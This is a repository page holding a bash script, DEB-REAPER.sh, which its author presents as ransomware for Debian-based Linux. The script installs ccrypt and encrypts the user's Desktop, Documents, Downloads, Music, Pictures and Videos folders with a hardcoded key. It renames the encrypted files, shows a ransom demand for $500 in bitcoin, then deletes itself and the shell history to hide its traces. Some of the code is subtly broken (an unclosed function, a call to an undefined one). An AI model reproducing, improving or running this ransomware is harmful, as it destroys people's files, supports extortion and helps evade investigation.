-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathDEB-REAPER.sh
160 lines (124 loc) · 3.36 KB
/
DEB-REAPER.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
#!/bin/bash
# ;::::;
# ;::::; :;
# ;:::::' :;
# ;:::::; DEB ;.
# ,:::::'REAPPER; OOO\
# ::::::; ; OOOOO\
# ;:::::; (---- ; OOOOOOOO
# ,;::::::; ;' / OOOOOOO
# ;:::::::::`. ,,,;. / / DOOOOOO
# .';:::::::::::::::::;, / / DOOOO
# ,::::::;::::::;;;;::::;, / / DOOO
# ;`::::::`'::::::;;;::::: ,#/ / DOOO
# :`:::::::`;::::::;;::: ;::# / DOOO
# ::`:::::::`;:::::::: ;::::# / DOO
# `:`:::::::`;:::::: ;::::::#/ DOO
# :::`:::::::`;; ;:::::::::## OO
# ::::`:::::::`;::::::::;:::# OO
# `:::::`::::::::::::;'`:;::# O
# `:::::`::::::::;' / / `:#
# ::::::`:::::;' / / `#
# Created by Da2dalus a MalDev101 project
# This is only an experiment but it can be dangerous.
# I am not responsible for the damage.
# This ransomware works only on Debian based distributions.
# Tested on Linux (Ubuntu, Debian).
# DEB REAPER v2.1
KEY="ReAPER" # KEY
CCRYPT="/bin/ccrypt"
function ccryptcheck() {
if [ -f "$CCRYPT" ]
then
scan
else
sudo apt install ccrypt -yy
ccryptcheck
fi
}
function encryptvideos() {
cd "$HOME"
cd Videos
local LS=$(ls -a)
local LIST=$(echo "$LS" | tr "\n" " ")
ccencrypt "$LIST" -k "$KEY"
for f in *.cpt; do
mv -- "$f" "${f%.cpt}.RIP"
done
}
function encryptdesktop() {
cd "$HOME"
cd Desktop
local LS=$(ls -a)
local LIST=$(echo "$LS" | tr "\n" " ")
ccencrypt "$LIST" -k "$KEY"
for f in *.cpt; do
mv -- "$f" "${f%.cpt}.RIP"
done
}
function encryptpictures() {
cd "$HOME"
cd Pictures
local LS=$(ls -a)
local LIST=$(echo "$LS" | tr "\n" " ")
ccencrypt "$LIST" -k "$KEY"
for f in *.cpt; do
mv -- "$f" "${f%.cpt}.RIP"
done
}
function encryptdocuments() {
cd "$HOME"
cd Documents
local LS=$(ls -a)
local LIST=$(echo "$LS" | tr "\n" " ")
ccencrypt "$LIST" -k "$KEY"
for f in *.cpt; do
mv -- "$f" "${f%.cpt}.RIP"
done
}
function encryptdownloads() {
cd "$HOME"
cd Downloads
local LS=$(ls -a)
local LIST=$(echo "$LS" | tr "\n" " ")
ccencrypt "$LIST" -k "$KEY"
for f in *.cpt; do
mv -- "$f" "${f%.cpt}.RIP"
done
}
function encryptmusic() {
cd "$HOME"
cd Music
local LS=$(ls -a)
local LIST=$(echo "$LS" | tr "\n" " ")
ccencrypt "$LIST" -k "$KEY"
for f in *.cpt; do
mv -- "$f" "${f%.cpt}.RIP"
done
}
function cleanup() {
echo "#!/bin/bash" > RIP.sh
echo "sleep 8" >> RIP.sh
echo "sudo mv DEB.REAPER.sh /dev/null" >> RIP.sh
chmod 755 RIP.sh
./RIP.sh && cd "$HOME" && rm .bash_history
exit
function start() {
ccryptcheck
sleep 5
encryptdesktop
sleep 5
encryptdocuments
sleep 5
encryptdownloads
sleep 5
zenity --warning --text="Your files are encrypted by DEB REAPER! Pay 500$ worth in bitcoin to this bitcoin address: Your Bitcoin Address so you can receive the decrypt instructions"
encryptmusic
sleep 5
encryptpictures
sleep 5
encryptvideos
sleep 5
cleanup
}
start